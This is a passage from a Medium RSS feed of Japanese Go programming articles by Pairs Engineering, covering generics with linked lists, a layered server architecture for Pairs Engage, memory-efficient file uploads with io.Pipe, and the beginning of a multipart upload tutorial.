</strong>string(rune(i))<br>})<br>intToString.Print() // [A, B, C]<br><br>stringToInt := list.Map(stringList, <strong>func</strong>(s string) int {<br>   <strong>return </strong>int(rune(s[0]))<br>})<br>stringToInt.Print() // [65, 66, 67]</pre><p><a href="https://github.com/Jimeux/go-samples/tree/master/generics-design-draft">コードサンプル</a>にFlatMap、ForEachなど他の関数の実装例もあります。</p><h3>Constraintでリストを合計する</h3><p>実装によっては受け取る型に制限をかけたい場合があります。例えば、整列リストだったら比較可能な型でないと要素をソートできません。これを実現するためにConstraintが提案されました。</p><h4>型を明示的に指定する</h4><p>Constraintはインターフェイスで定義します。制限をかけるにはtypeでどの型に対応するかを明示的に指定する方法があります。</p><pre><strong>type </strong>Ordered <strong>interface </strong>{<br>   <strong>type </strong>int, int8, int16, int32, int64,<br>     uint, uint8, uint16, uint32, uint64, uintptr,<br>     float32, float64,<br>     string<br>}</pre><p>Orderedは比較可能な基本型の羅列です。OrderedをConstraintに使う場合、インターフェイス内にない型を渡すとコンパイルエラーになります。このような汎用的なConstraintがいくつか標準ライブラリに追加される可能性があります。</p><p>OrderedでListの要素を合計する関数を書いてみましょう。</p><pre><strong>func </strong>SumOrdered[T Ordered](l *List[T]) T {<br>   <strong>var </strong>sum T<br>   <strong>for </strong>n := l.head; n != nil; n = n.next {<br>      sum += n.value  // 演算子+=が使える<br>   }<br>   <strong>return </strong>sum<br>}</pre><p>T Orderedのように型パラメータ名のあとにConstraintを指定します。Orderedを満たす型を渡せば正常に合計が返却されます。</p><pre>list.SumOrdered(intList)    // 198<br>list.SumOrdered(stringList) // ABC</pre><h4>挙動を指定する（通常のインターフェイス）</h4><p>Orderedにない新しい型（Point）を定義しても、SumOrderedには渡せません。</p><pre><strong>type </strong>Point <strong>struct </strong>{<br>   X, Y int<br>}</pre><pre>pointList := list.NewList(Point)()<br>pointList.AddLast(Point{1,1})<br>pointList.AddLast(Point{2,2})<br>pointList.AddLast(Point{3,3})<br>pointList.Print() // [{1 1}, {2 2}, {3 3}]</pre><pre>list.SumOrdered(pointList) // 💀 コンパイルエラー</pre><p>Pointに対応するためにOrderedインターフェイスに型を追加するのではなく、足し算を可能にするメソッドをインターフェイスで定義します。</p><pre><strong>type </strong>Summable[T any] <strong>interface </strong>{<br>   Add(t T) T<br>}</pre><pre><strong>func </strong>Sum[T Summable[T]](l *List[T]) T {<br>   <strong>var </strong>sum T<br>   <strong>for </strong>n := l.head; n != nil; n = n.next {<br>      sum = sum.Add(n.value)  // メソッドを使う<br>   }<br>   <strong>return </strong>sum<br>}</pre><p>指定する方法はOrderedと同じですが、今回はインターフェイスに定義したAddを使って合計します。この方法でSummableを実装した型すべてに対応できます。</p><pre>// AddはSummableを満たせるメソッド<br><strong>func </strong>(p Point) Add(q Point) Point {<br>   <strong>return </strong>Point{<br>      X: p.X + q.X,<br>      Y: p.Y + q.Y,<br>   }<br>}</pre><pre>list.Sum(pointList) // {6 6}</pre><p>基本型とユーザー定義型の扱いが異なりますが、標準ライブラリにOrderedのようなConstraintsで基本型がだいたいカバーされるでしょう。</p><h3>まとめ</h3><p>今回はジェネリクスの新しいドラフトを紹介してgo2goでコードを実行しました。</p><p>実装してみた感想としては、Javaなど他の言語ほど機能は多くありませんが、高度な言語機能を「Goらしく」実現するためには適切なトレードオフなのではと思いました。他に思った点は以下になります。</p><ul><li>型パラメータリストの定義に()の代わりに[]を使う方がすっきりする</li><li>オートボクシングがないため基本型のパフォーマンスを活かせる</li><li>インターフェイスを使用するConstraintは自然に使える</li><li>interface{}に依存しないGoが楽しみになる</li></ul><h3>参考</h3><ul><li><a href="https://go.googlesource.com/proposal/+/refs/heads/master/design/go2draft-type-parameters.md#type-inference-for-composite-literals">Type Parameters — Draft Design | go.googlesource.com</a></li><li><a href="https://blog.golang.org/why-generics">Why Generics? | The Go Blog</a></li></ul><p><em>Cover image by </em><a href="https://www.flickr.com/photos/cookingforgeeks/4358890571/in/photostream/"><em>Jeff Potter</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d1174e2355d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/eureka-engineering/golang-generics-design-draft-linked-list-4d1174e2355d">連結リストの実装でGo言語のジェネリクスのドラフトを触ってみる</a> was originally published in <a href="https://medium.com/eureka-engineering">Pairs Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pairsエンゲージの新規開発に採用したサーバーサイドアーキテクチャ]]></title>
            <link>https://medium.com/eureka-engineering/pairs-engage-server-side-architecture-c056bd8f598?source=rss-5515517abe5------2</link>
            <guid isPermaLink="false">https://medium.com/p/c056bd8f598</guid>
            <category><![CDATA[アーキテクチャ]]></category>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[go言語]]></category>
            <category><![CDATA[go]]></category>
            <dc:creator><![CDATA[James Kirk]]></dc:creator>
            <pubDate>Sun, 22 Dec 2019 01:01:00 GMT</pubDate>
            <atom:updated>2020-07-22T07:04:57.894Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pairsエンゲージの新規開発に採用したGo言語のサーバーサイドアーキテクチャ🤵👰</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AER-ZXKC9havqYLerIbB7Q.jpeg" /></figure><h3>はじめに</h3><p>この記事は「<a href="https://qiita.com/advent-calendar/2019/eureka">eureka Advent Calendar 2019</a>」22日目の記事です。</p><p>こんにちは！APIチームの<a href="https://github.com/Jimeux">@Jimeux</a>です。今夏、エウレカは<a href="https://engage.pairs.lv/">Pairsエンゲージ</a>（以下エンゲージ）という結婚コンシェルジュサービスをリリースしました。本記事ではPairsのサーバーサイドアーキテクチャから学んだことを今回の新規開発にどう活かしたかを紹介していきます。</p><h3>Pairsのサーバーサイドについて</h3><p>現在のPairsのサーバーサイドは、PHPからGo言語で<a href="https://speakerdeck.com/yu81/phpkaragohurusukuratutifalsezhan-hou-ru-she-zu-karajian-ta-pairsfalsekai-fa-nituite">フルスクラッチに開発され</a>、2015年にリリースされました。それ以来、複数のマイクロサービスが<a href="https://speakerdeck.com/kaneshin/eureka-go-our-designing-of-a-microservices-architecture">monorepo</a>で開発され、今ではGo言語のソースコードの行数が<strong>約40万行</strong>まで増えてきています。（※空行・コメントを除く）</p><p>エンゲージのサーバーサイド開発に着手する前、チームではPairsのアーキテクチャを主にパターンベースで考えていました。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/278/1*EI3i-flh0J3WI8os3H9Khw@2x.png" /><figcaption>パターンで考えたアーキテクチャ</figcaption></figure><ul><li><strong>Controller</strong>：HTTPリクエスト・レスポンス周りの管理</li><li><strong>Facade</strong>：処理をユースケース別にまとめ、トランザクション管理を行う（複数のサービスを扱うことが多い）</li><li><strong>Service</strong>：複数のFacadeに再利用できる処理を実装する</li><li><strong>Repository</strong>：MySQL、DynamoDB、Redisなどデータストア操作を行う</li></ul><p>これらのパターンは、新規機能を開発する際のフレームワークとなり、チームの効率的な開発を担保してきました。データアクセスならRepository、HTTP周りならControllerというふうに、<a href="https://ja.wikipedia.org/wiki/%E9%96%A2%E5%BF%83%E3%81%AE%E5%88%86%E9%9B%A2">関心の分離</a>をうまく実現できました。</p><h3>Pairsのアーキテクチャにあった課題</h3><p>コードベースを数10万行という規模までスケーリングできたにしても、アーキテクチャをパターンで考えれば、レイヤの責務や依存関係が曖昧になりがちです。その結果、コードやレビューを書く時に迷うことが増えていました。特に頭痛の種となった課題が2点ありました。</p><h4>① ビジネスロジックの置き場がない</h4><p>責務としてビジネスロジックを管理するレイヤがなかったため、結局アプリケーションの全体に漏れてしまいました。そのため、以下の問題が発生しました。</p><ul><li>仕様が正しく実装されているのか確かめづらい</li><li>ロジックを重複して実装するリスクがある</li><li>FacadeやControllerと同じ構築をしないとテストが書けない</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/278/1*G794SnkGZP42srUHiagVDg.png" /><figcaption>ビジネスロジックがアプリケーション全体に漏れる</figcaption></figure><h4>② インフラへの依存性</h4><p>Serviceが直接Repositoryの構造体に依存することで、以下の問題が発生しました。</p><ul><li>テストを書くにはデータストアの構築が必要になる</li><li>具体的な技術や外部ライブラリの概念が上位のレイヤに漏れ、差し替えが難しい</li></ul><p>これを背景に、Pairsのエンジニアがリアーキテクチャを図りながら、エンゲージの設計に取り掛かかりました。まずは「アーキテクチャから何を求めるか」から考え始めました。</p><h3>アーキテクチャの「WHY」</h3><p>アーキテクチャからは、マシン上のパフォーマンス向上は期待できませんが、エンジニアがアプリケーションのコードを考えたり整理したりを補助する<strong>メンタルモデル</strong>になります。</p><p>アプリケーションとチームのニーズを想定した設計は、レイヤの<strong>責務</strong>と<strong>依存関係</strong>、各修正の<strong>影響範囲</strong>などが分かりやすくなります。アーキテクチャは、新規機能の開発を指導する<strong>論理的なフレームワーク</strong>となり、開発の効率向上に大きく繋がります。</p><p>Pairsチームが使いこなしていたパターンはこの思想を大いに実現していましたが、「パターン思考」から「レイヤ思考」に切り替え、「責務」を明確にする必要がありました。</p><h3>レイヤのおさらい</h3><p>レイヤとはシステムを分割するための技法です。モジュールやパッケージで機能の詳細な実装を隠蔽することで関心の分離を可能にします。</p><p>MVCのような、レイヤの定義が決まっているアーキテクチャもありますが、それ自体とその制限は設計者により定義されるものです。レイヤの制限は、プログラミング言語レベル（非公開な変数）でも、チーム内の規約上（レイヤXはレイヤYからインポートしない）でも守られることがあります。</p><p>各レイヤには明確な責務があり、その他のレイヤと特定な依存関係があります。責務を明確にすることで影響範囲が分かりやすいですし、依存関係を守ればこの範囲は膨らみません。レイヤ責務を考慮すれば、レイヤ内でどの型、パターン、ライブラリなどを使うべきかも判断できます。</p><h3>エンゲージのアーキテクチャ</h3><p>エンゲージでは、Pairsでうまくいっていたパターンを取り入れながら、「レイヤ思考」でビジネスロジックとインフラへの依存性の課題をクリアできる設計にしてみました。その考え方を簡単に紹介します。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/278/1*LH3FTgzblS0ZUaHgGEzwLQ@2x.png" /><figcaption>エンゲージのレイヤ化されたアーキテクチャ</figcaption></figure><h4>ビジネスロジックから考える</h4><p>ビジネスロジックをアプリケーションの中心に設計を考えるアプローチは<a href="https://codezine.jp/article/detail/9546">ドメイン駆動設計</a>から広がり、今ではその概念が色々なプログラミング言語のコミュニティに浸透しています。</p><p>エンゲージでは「Domain」レイヤを最初に定義し、業務領域（ドメイン）に関する値と振る舞いの管理を責務にしました。他のレイヤや外部のライブラリとインフラには一切依存しないレイヤです。</p><p>Domainを扱ってユースケースを実現するレイヤとして「Application」レイヤがあり、具体的な技術に依存せず、Domainと共にアプリケーションのコアになります。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/242/1*9N5yviaDGAHuFS4jU4B5rA.png" /><figcaption>具体的な技術に依存しないアプリケーションのコア</figcaption></figure><h4>アプリケーションと技術の分離</h4><p>ソフトウェア設計には、<strong>persistence ignorance</strong>（永続化の無知）という概念があり、特に新しいものではありません。</p><blockquote>「Persistence Ignorance」とはデータの永続化に対して、特定のテクノロジーやプロダクトに依存しないことをさしています。</blockquote><p>これを永続化だけではなく具体的な技術全体に当てはめれば、上に説明した「コア」を実現できます。エンゲージではDomainに必要なインターフェイスがDomain自体に定義され、それを満たす構造体がInfrastructureレイヤに実装されます。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*o7S4PnBC_14dwa7xzEO1kA@2x.png" /><figcaption>DomainとInfrastructureの分離をインターフェイスで実現する</figcaption></figure><p>これは<a href="https://medium.com/eureka-engineering/go-dependency-inversion-principle-8ffaf7854a55">依存関係逆転の原則</a>をアーキテクチャレベルで表した設計です。依存性の注入をすべてmain.goで以下のように行います。結果としてテストの構築がシンプルになりました。</p><pre><em>// インフラストラクチャ層</em><br>tx := mysql.NewTx(orm)<br>userRepository := mysql.NewUserRepository(orm)<br><br><em>// ドメイン層</em><br>userService := user.NewUserService(userRepository)<br><br><em>// アプリケーション層</em><br>userFacade := application.NewUserFacade(tx, userService)<br><br><em>// API層</em><br>userController := controllers.NewUserController(userFacade)</pre><p>最後にレイヤの概要とパッケージ構造を簡単に紹介します。</p><h4>レイヤの概要</h4><p><strong>API</strong>：APIの入出力に関わる処理</p><ul><li>Controllers</li><li>ミドルウェア</li><li>リクエスト・レスポンスのパース、バリデーション、整形など</li></ul><p><strong>Application</strong>：ユースケースの実装</p><ul><li>Facades（1メソッド＝1ユースケース）</li><li>トランザクション管理</li></ul><p><strong>Domain</strong>：業務領域に関する値と振る舞い</p><ul><li>仕様に関わる型（エンティティや値オブジェクト）と値（定数）</li><li>レポジトリのインターフェイス（実装はInfrastructure層にある）</li><li>ドメインサービス（標準Goのビジネスロジックのみ）</li></ul><p><strong>Infrastructure</strong>：具体的な技術による実装</p><ul><li>レポジトリの実装</li><li>具体的な技術を必要とするDomainサービスの実装</li><li>外部ライブラリへの依存性（ORM、AWSのSDK、Redisのクライアントなど）</li></ul><h4>パッケージ構造</h4><p>レイヤごとのパッケージに分けられ、必要最低限のものを公開したり、チーム内でルールを作り共通認識を持つことで、依存関係を守っています。</p><pre>├── api<br>│   └── controllers<br>│       └── user_controller.go<br>│   └── middleware<br>│   └── routes<br>├── app<br>│   └── facades<br>│       └── user_facade.go     // ユースケースの実装<br>├── domain<br>│   └── payment<br>│   └── user<br>│       └── user.go            // エンティティ<br>│       └── user_repository.go // レポジトリ（インターフェイス）<br>│       └── user_service.go    // サービス（実装）<br>├── infra<br>│   └── mysql<br>│       └── user_repository.go // レポジトリ（実装）<br>│   └── redis<br>│   └── s3</pre><h3>まとめ</h3><p>今回はPairsエンゲージのサーバーサイドの初期設計に関する話を書きました。</p><p>リリースしたあとの感想としては、改善したいところはたくさんありますが、今回のアーキテクチャによってチームの生産性が支えられ、今後のリファクタリング、新規開発、テスタビリティを担保できました。</p><p>オーバーエンジニアリングよりも、分かりやすくチーム全体に取り入れられる設計が最終的にはメンタルモデルとして機能すると感じました。</p><h3>参考</h3><ul><li><a href="https://medium.com/@egonelbre/what-is-a-layer-948bb1a26b5d">What is a Layer? — Medium</a></li><li><a href="https://www.slideshare.net/pospome/go-80591000">Goのサーバサイド実装におけるレイヤ設計とレイヤ内実装について考える — SlideShare</a></li><li><a href="https://www.slideshare.net/AtsuoAoki/ddd-201811">「実践ドメイン駆動設計」 から理解するDDD (2018年11月) — SlideShare</a></li><li><a href="https://www.slideshare.net/koichiromatsuoka/ddd-x-cqrs-orm">DDD x CQRS 更新系と参照系で異なるORMを併用して上手くいった話 — SlideShare</a></li><li><a href="https://devblog.thebase.in/entry/2018/11/26/102401">Goを運用アプリケーションに導入する際のレイヤ構造模索の旅路 | Go Conference 2018 Autumn 発表レポート — BASE開発チームブログ</a></li><li><a href="https://docs.microsoft.com/en-us/dotnet/standard/microservices-architecture/microservice-ddd-cqrs-patterns/ddd-oriented-microservice">Designing a DDD-oriented microservice | Microsoft Docs</a></li><li><a href="https://ayende.com/blog/3137/infrastructure-ignorance">Infrastructure Ignorance — Ayende @ Rahien</a></li></ul><p><em>Feature image by </em><a href="https://pixabay.com/users/histogram-11099539/?utm_source=link-attribution&amp;utm_medium=referral&amp;utm_campaign=image&amp;utm_content=3894377"><em>Serkan Turk</em></a><em> from </em><a href="https://pixabay.com/?utm_source=link-attribution&amp;utm_medium=referral&amp;utm_campaign=image&amp;utm_content=3894377"><em>Pixabay</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c056bd8f598" width="1" height="1" alt=""><hr><p><a href="https://medium.com/eureka-engineering/pairs-engage-server-side-architecture-c056bd8f598">Pairsエンゲージの新規開発に採用したサーバーサイドアーキテクチャ🤵👰</a> was originally published in <a href="https://medium.com/eureka-engineering">Pairs Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Go言語のio.Pipeでファイルを効率よくアップロードする方法]]></title>
            <link>https://medium.com/eureka-engineering/file-uploads-in-go-with-io-pipe-75519dfa647b?source=rss-5515517abe5------2</link>
            <guid isPermaLink="false">https://medium.com/p/75519dfa647b</guid>
            <category><![CDATA[プログラミング]]></category>
            <category><![CDATA[go]]></category>
            <category><![CDATA[golang]]></category>
            <dc:creator><![CDATA[James Kirk]]></dc:creator>
            <pubDate>Tue, 05 Feb 2019 03:07:56 GMT</pubDate>
            <atom:updated>2022-11-15T11:24:45.533Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PLckBctYZwqHi0zvkb0KQw.jpeg" /><figcaption>パイプ（土管）をGo言語でも楽しめる</figcaption></figure><h3>はじめに</h3><p><a href="https://medium.com/eureka-engineering/multipart-file-upload-in-golang-c4a8eb15a3ee">前回</a>はGo言語の<a href="https://golang.org/pkg/mime/multipart/">mime/multipartパッケージ</a>によるファイルのアップロードを見ましたが、パフォーマンスの特徴にはあまり触れませんでした。<br>大規模な<a href="https://ja.wikipedia.org/wiki/Extract/Transform/Load">ETL</a>ジョブや、制限の厳しいサーバーレスの環境などでは、ファイルを扱うプログラムのリソースを慎重に考える必要があります。本記事ではメモリ使用量を大幅に減らす<a href="https://golang.org/pkg/io/#Pipe">io.Pipe</a>の使い方を見ていきます。<br>全てのコードは<a href="https://github.com/Jimeux/go-samples/tree/master/file-upload">サンプルレポジトリ</a>にあります。</p><h3>同期処理にある問題</h3><p><a href="https://gist.github.com/Jimeux/22caf548107d21c884f8b94f8de05a02">前回のコード</a>をもう一度見てパフォーマンスを考えてみましょう。</p><pre>// ファイルを開く<br>file, _ := os.Open(filename)<br><br>// リクエストボディのデータを受け取るio.Writerを生成する。<br>body := &amp;bytes.Buffer{}<br><br>// データのmultipartエンコーディングを管理するmultipart.Writerを生成する。<br>mw := multipart.NewWriter(body)<br>fw, _ := mw.CreateFormFile(fieldname, filename)<br><br>// fwで作ったパートにファイルのデータを書き込む<br>_, _ = io.Copy(fw, file)<br><br>// contentTypeとbodyを使ってリクエストを送信する<br>resp, _ := http.Post(url, contentType, body)</pre><p>データの流れを考えるとステップが大きく２つあります。</p><ol><li>12行目でファイルの中身をエンコードしながらio.Copyでバッファ（bytes.Buffer）に書き込む。</li><li>http.Postの中でバッファの中身をio.CopyでHTTPコネクション（net.Conn）に書き込む。</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*18Uvg5AOqnFvaO0mdsI6Hg.png" /><figcaption>同期処理によるファイルのアップロード</figcaption></figure><p>このステップが同期的なので、最初のio.Copyが終わるまで次のio.Copyが開始できません。つまり、バッファがファイルの中身全体を一度保持する必要があります。ファイルサイズが大きくなるほど、プログラムのメモリ使用量が増えるように見えますが、<a href="https://golang.org/cmd/go/#hdr-Testing_flags">benchmem</a>のベンチマークを確認してみましょう。</p><pre>┌───────┬────────┐<br>│ File  │ Memory │<br>├───────┼────────┤<br>│ 6b    │ 39KB   │<br>│ 5KB   │ 44KB   │<br>│ 29KB  │ 71KB   │<br>│ 51KB  │ 169KB  │<br>│ 500KB │ 1.94MB │<br>│ 1MB   │ 1.96MB │<br>│ 10MB  │ 33.5MB │<br>└───────┴────────┘</pre><p>メモリ使用量がファイルサイズに比例していることが分かりますが、ファイルサイズ自体を大きく上回ることもあります。この実装では、ファイルサイズによってはメモリ不足のリスクが高くなります。</p><h3>io.Pipeとは</h3><p>multipart.Writerはio.Writer、http.Postは io.Readerを受け取るので、繋げることができません。読み込みと書き込みを並行して進められれば、読み込んだ分のデータだけを保持すればいいはずです。Go言語でこれを可能にするのが<a href="https://golang.org/pkg/io/#Pipe">io.Pipe</a>です。</p><blockquote><em>Pipe</em>は、メモリ内に同期パイプを作成します。<strong>これは</strong><em>io.Reader</em><strong>を必要としているコードと、</strong><em>io.Writer</em><strong>を必要としているコード間を接続します</strong>。片方の読み込みは、もう一方の書き込みに対応し、データのコピーは二者間でバッファリングされることなくダイレクトに行われます。</blockquote><p>公式ドキュメントのコード例を見てみましょう。</p><pre>pr, pw := io.Pipe()<br><br>go func() {<br>   fmt.Fprint(pw, &quot;some text&quot;)<br>   w.Close()<br>}()<br><br>buf := new(bytes.Buffer)<br>buf.ReadFrom(pr)<br>fmt.Print(buf.String())</pre><p>コードの流れは以下のようになります。</p><ol><li>io.Pipeがio.PipeReader (pr) と io.PipeWriter (pw) を返却する。</li><li>別のGoルーチンでpwにデータを書き込む。pr.Readの呼び出しまでpw.Writeがブロックする。</li><li>pr.Readによりpwのデータがprにコピーされ、クリアされる。pwが再度書き込まれる、もしくはpw.Closeまでpr.Readがブロックする。</li><li>pw.CloseによりpwのGoルーチンが開放されpr.ReadがEOFを返却し、処理が終了する。</li></ol><p>pr.Readの呼び出しごとにpwの中身がクリアされるので、最小限のデータしか一度に保持されません。しかし、prとpwが<strong>バッファなしチャネル</strong>でやり取りするので、pr.Readとpw.Writeがブロックする可能性があります。</p><pre>pr, pw := io.Pipe()<br>fmt.Fprint(pw, &quot;Please don&#39;t lock&quot;)<br>log.Fatal(&quot;No deadlock!&quot;)</pre><p>上記のコードを実行すると log.Fatalに届かずdeadlockが発生します。</p><pre>fatal error: all goroutines are asleep - deadlock!</pre><h3>ファイルのアップロードを効率化する</h3><p>では、io.Pipeを活かして効率の良いファイルのアップロードを実装してみましょう。</p><pre>package main<br><br>import (<br> &quot;io&quot;<br> &quot;log&quot;<br> &quot;mime/multipart&quot;<br> &quot;net/http&quot;<br> &quot;os&quot;<br>)<br><br>func main() {<br> url := &quot;http://localhost:3000/upload&quot;<br> fieldName := &quot;file&quot;<br> fileName := &quot;hello.txt&quot;<br> file, err := os.Open(fileName)<br> handleError(err)<br><br> pr, pw := io.Pipe()<br> // io.PipeWriterをmultipart.Writerに渡す<br> mw := multipart.NewWriter(pw)<br><br> // Goルーチンを開始し非同期でpwに書き込む<br> go func() {<br>  // prの処理が正常に終わるように必ずpwをクローズする<br>  defer pw.Close()<br>  defer mw.Close()<br>  fw, err := mw.CreateFormFile(fieldName, fileName)<br>  if err != nil {<br>   return<br>  }<br>  if _, err := io.Copy(fw, file); err != nil {<br>   return<br>  }<br> }()<br><br> // io.PipeReaderをHTTPリクエストのボディに渡す<br> resp, err := http.Post(url, mw.FormDataContentType(), pr)<br> handleError(err)<br><br> err = resp.Body.Close()<br> handleError(err)<br>}<br><br>func handleError(err error) {<br> if err != nil {<br>  log.Fatal(err)<br> }<br>}</pre><p>今回はmultipart.NewWriterにio.PipeWriterを渡し、別のGoルーチンでfwへ非同期的に書き込んでからCloseを呼び出します。同時にhttp.Postにio.PipeReader を渡し、記事内の「同期処理にある問題」で紹介した2つのステップを並行して進めます。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*EmCL3Uaq_CGeyiVMTYhFhg.png" /><figcaption>io.Pipeによる非同期的なアップロード</figcaption></figure><p>io.Pipeを使うとHTTPリクエストのボディが<a href="https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Transfer-Encoding#Directives">チャンク(Chunk)</a> に分け送信されるので、Content-Lengthヘッダの代わりにTransfer-Encodingヘッダにchunkedという値を設定する必要がありますが、Goの標準ライブラリに自動で設定されます。</p><p>上記で最小限のデータしか一度に保持されないと述べましたが、またベンチマークを確認してみましょう。</p><pre>┌───────┬─────────┐<br>│ File  │ Memory  │<br>├───────┼─────────┤<br>│ 6b    │ 71KB    │<br>│ 5KB   │ 71KB    │<br>│ 29KB  │ 71KB    │<br>│ 51KB  │ 71KB    │<br>│ 500KB │ 71KB    │<br>│ 1MB   │ 71KB    │<br>│ 10MB  │ 76KB    │<br>└───────┴─────────┘</pre><p>今回はファイルサイズが小さい場合は若干オーバーヘッドがあるようですが、数十KBを超えるとメモリ使用量が大幅に下がってきます。これでは大きいファイルの扱いでもメモリ不足のリスクがほぼ無くなるはずです。</p><h3>まとめ</h3><p>今回はio.Pipeの特徴と利用について記述し、<a href="https://medium.com/eureka-engineering/multipart-file-upload-in-golang-c4a8eb15a3ee">前回</a>のファイルアップロードの実装を最適化する方法を紹介しました。<br>io.Copyのみの実装よりio.Pipeを用いた実装でメモリ使用量を抑えることができました。ところが、多少のオーバーヘッドやデッドロックの恐れなどもあるので、<a href="https://qiita.com/shuetsu@github/items/95370b6c208901db3a5e">早すぎる最適化</a>を避け、適切に使っていきましょう。</p><p><a href="https://github.com/Jimeux/go-samples/tree/master/file-upload">Jimeux/go-samples</a></p><h3>参考</h3><ul><li><a href="https://golang.org/pkg/io/#Pipe">Package io#Pipe</a></li><li><a href="https://qiita.com/iwaaya/items/59a51706644a6b86b5d6">io.Pipe関数の２つのdeadlockポイント</a></li><li><a href="https://medium.com/stupid-gopher-tricks/streaming-data-in-go-without-buffering-3285ddd2a1e5">Streaming data in Go, without bytes.Buffer</a></li><li><a href="https://zupzup.org/io-pipe-go/">Examples For Using io.Pipe in Go</a></li><li><a href="https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Transfer-Encoding">MDN web docs — Transfer-Encoding</a></li></ul><p><em>Cover image by </em><a href="https://www.flickr.com/photos/bluehouseburning/5169154193"><em>Jared Young</em></a><em> / Go gopher created by Renée French</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75519dfa647b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/eureka-engineering/file-uploads-in-go-with-io-pipe-75519dfa647b">Go言語のio.Pipeでファイルを効率よくアップロードする方法</a> was originally published in <a href="https://medium.com/eureka-engineering">Pairs Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Go言語のmime/multipartパッケージでファイルをアップロードしましょう]]></title>
            <link>https://medium.com/eureka-engineering/multipart-file-upload-in-golang-c4a8eb15a3ee?source=rss-5515517abe5------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4a8eb15a3ee</guid>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[go]]></category>
            <dc:creator><![CDATA[James Kirk]]></dc:creator>
            <pubDate>Thu, 29 Nov 2018 08:26:39 GMT</pubDate>
            <atom:updated>2019-02-08T04:46:22.060Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UOkcd3Ed1NKaMQa7UlZCpw.jpeg" /><figcaption>Goによるファイルアップロード（ランタイムの中の様子）</figcaption></figure><h3>はじめに</h3><p>こんにちは。エウレカ APIチームのジェームスです。<br>最近Go言語でファイルをアップロードしたりするAPIクライントを作っていて、色々と学ぶことがありました。今回は基本に戻りマルチパートメッセージの仕様を考えながら、標準ライブラリのmime/multipartパッケージでファイルをアップロードする方法を紹介していきます。<br>全てのコードは<a href="https://github.com/Jimeux/go-samples/tree/master/file-upload">サンプルレポジトリ</a>にあります。</p><h3>マルチパートメッセージのおさらい</h3><p>マルチパートメッセージはHTTPのデータ転送に利用されることが多いですが、その定義はもともとSMTPメールのために設計されたMIME規格にあります。そのため、「メッセージ」などの通常HTTPリクエストに対して使わない単語が出たりします。</p><p>HTTPの場合は、ファイルのアップロードによく使いますが、「マルチパート」という名の通り複数のパート（ファイル、テキストなど）を1つのメッセージの中で転送するための形式です。パートはそれぞれ以下の要素からなります。</p><ul><li>バウンダリ（パートの区切り文字）</li><li>ヘッダエリア（通常Content-DispositionとContent-Type）</li><li>空白行</li><li>ボディエリア（ファイルの中身など）</li></ul><p>バウンダリはボディエリアの中で出現してはいけないので、基本はランダムに生成されます。<a href="https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Content-Disposition">Content-Disposition</a>ヘッダはファイル名やフィールド名など、パートのフィールドについての情報を含みます。Content-Typeヘッダの種類については<a href="https://developer.mozilla.org/ja/docs/Web/HTTP/Basics_of_HTTP/MIME_types#Important_MIME_types_for_Web_developers">ウェブ開発者向けの重要な MIME タイプ</a>を参照してください。</p><p>マルチパートのHTTPリクエストを送信する時に、リクエストレベルのContent-Typeヘッダにmultipart/form-dataというサブタイプを指定しバウンダリも含めます。ボディにはパートを１つ以上含め、末尾にバウンダリがもう一度挿入されます。</p><p>以下はHTTPリクエスト例です。バウンダリがそれぞれContent-Typeヘッダ、パートの冒頭、メッセージの末尾にあることが確認できます。</p><pre>POST /upload HTTP/1.1<br>Host: localhost:3000<br>Accept-Encoding: gzip<br>Content-Length: 254<br>Content-Type: multipart/form-data; boundary=c7245ee369df31f524686275eb89381b30581b1ca5557de2453f9f8cf66c<br>User-Agent: Go-http-client/1.1</pre><pre>--c7245ee369df31f524686275eb89381b30581b1ca5557de2453f9f8cf66c<br>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;hello.txt&quot;<br>Content-Type: application/octet-stream</pre><pre>hello</pre><pre>--c7245ee369df31f524686275eb89381b30581b1ca5557de2453f9f8cf66c--</pre><h3>Go言語でマルチパートメッセージを生成する</h3><p>Go言語のmime/multipartパッケージはマルチパートメッセージを読み書きするための便利な型や関数を提供しています。メッセージを作るにはmultipart.Writerという型を使います。まずはその定義を見てみましょう。</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a 